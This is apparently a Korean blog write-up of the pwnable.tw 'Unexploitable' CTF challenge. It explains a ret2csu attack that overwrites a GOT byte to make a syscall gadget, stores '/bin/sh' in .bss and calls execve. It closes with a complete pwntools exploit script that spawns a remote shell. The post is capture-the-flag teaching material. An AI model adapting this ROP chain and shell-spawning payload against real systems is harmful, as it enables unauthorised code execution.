-
[ 500pts ] UnexploitableSystem/Pwnable.tw 2019. 3. 8. 18:35
pwnable.kr의 unexploitable보다 더 어렵게 만들었다고 한다.
딱히 뭐가 더 어렵다기 보다는 풀이방식이 서로 다르기 때문에 각 각의 매력이 있는 것 같다.
[ File ]
64Bit : Fastcall
Dynamically Linked: 공유라이브러리 사용
not stripped: 안티 디버깅 미적용
[ Mitigation ]
Partial RELRO: GOT Overwrite 가능
NX: 실행권한 없음
[ Gadget ]
Exploit에 필요한 가젯도 없는 상태다.
[ How to Exploit? ]
우선 인자구성에 필요한 가젯이 없기 때문에 ( pop rdi, rsi, rdx, ret )
이럴 때는 'Return to csu'를 이용해서 인자들을 세팅해줄 수 있다.
Exploit시나리오는 여러가지 방법이 있는데, 나는 Syscall로 문제를 풀었다.
[ Create Syscall ]
먼저 syscall가젯이 없기 때문에, GOT Overwrite로 Syscall가젯을 만들어줘야 한다.
ASLR이나 PIE같은 랜덤화 보호기법이 적용되어 있어도 offset값은 같다는 점을 이용하는건데,
상세한 내용은 [Syscall 없을때] 이 글을 참고하면 된다.
sleep_got의 하위1Byte에 Syscall_1byte를 덮어씌어서 sleep_got를 Syscall로 만들어준다.
[ Save "/bin/sh\x00" ]
다음에는 execve( )에 첫번째 인자로 넘겨줄 "/bin/sh\x00"문자열을 .bss영역에 저장해준다.
[ Return to vuln ]
그 다음에는 payload길이 제한에 걸리기 때문에취약점이 발생하는 함수를 다시 불러줘야 한다.
여기서 주의해야 할점이 main( )를 R12에 바로 넘겨주면 안된다.
qword ptr 로 값을 참조해서 Call하기 때문에, BSS영역에 main( )주소를 저장하고 이 주소를 넘겨줘야 된다.
[ Set RAX(59) ]
두 번째 Payload에서는 execve( )를 호출할 준비를 한다.
[POP RAX]가젯이 없기 때문에, read( )의 반환값이 RAX에 저장되는 것을 이용해서 Call_Number를 맞춰준다.
64Bit에서 execve( )의 Call_Number는 59(0x3b)다.
[ Syscall execve( ) ]
각 인자에 맞게 값을 맞춰준 뒤, syscall(sleep_got)를 불러주면 execve("/bin/sh",NULL,NULL)이 실행된다.
[ Exploit! ]
[ Payload ]
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990from pwn import *p = remote("chall.pwnable.tw",10403)#p = process("./unexploitable")sleep_got =0x601010ret_csu = 0x4005e6ret_csu2 = 0x4005d0read_got = 0x601000re_main = 0x400544bss = 0x601028binsh = "/bin/sh\x00"+p64(re_main)script = """b*0x4005e6b*0x400577"""#gdb.attach(p,script)payload = "A"*24#SYSCALL_OVERWRITEpayload += p64(ret_csu)payload += p64(0xDEADBEEF)payload += p64(0)#RBXpayload += p64(1)#RBPpayload += p64(read_got)#R12payload += p64(0)#R13 => EDIpayload += p64(sleep_got)#R14 => RSIpayload += p64(1)#R15 => RDXpayload += p64(ret_csu2)#SAVE_"/bin/sh\x00"payload += p64(0xDEADBEEF)payload += p64(0)#RBXpayload += p64(1)#RBPpayload += p64(read_got)#R12payload += p64(0)#R13 => EDIpayload += p64(bss)#R14 => RSIpayload += p64(len(binsh))#R15 => RDXpayload += p64(ret_csu2)#RE_MAINpayload += p64(0xDEADBEEF)payload += p64(0)#RBXpayload += p64(0xDEADBEEF)#RBPpayload += p64(bss+0x8)#R12payload += p64(0)#R13 => EDIpayload += p64(0)#R14 => RSIpayload += p64(0)#R15 => RDXpayload += p64(ret_csu2)#SET_RAX(59)payload_2 = "B"*24payload_2 += p64(ret_csu)payload_2 += p64(0xDEADBEEF)payload_2 += p64(0)#RBXpayload_2 += p64(1)#RBPpayload_2 += p64(read_got)#R12payload_2 += p64(0)#R13 => EDIpayload_2 += p64(bss+len(binsh))#R14 => RSIpayload_2 += p64(59)#R15 => RDXpayload_2 += p64(ret_csu2)#CALL_EXECVE_SYSCALLpayload_2 += p64(0xDEADBEEF)payload_2 += p64(0)#RBXpayload_2 += p64(1)#RBPpayload_2 += p64(sleep_got)#R12payload_2 += p64(bss)#R13 => EDIpayload_2 += p64(0)#R14 => RSIpayload_2 += p64(0)#R15 => RDXpayload_2 += p64(ret_csu2)sleep(3)p.sendline(payload)print "[*]SENT PAYLOAD_1..."sleep(0.1)p.send("\x55")sleep(0.1)p.send(binsh)sleep(3)p.sendline(payload_2)print "[*]SENT PAYLOAD_2..."sleep(0.1)p.sendline("A"*59)print "[*]SET_EXECVE_CALLNUM..."p.interactive()댓글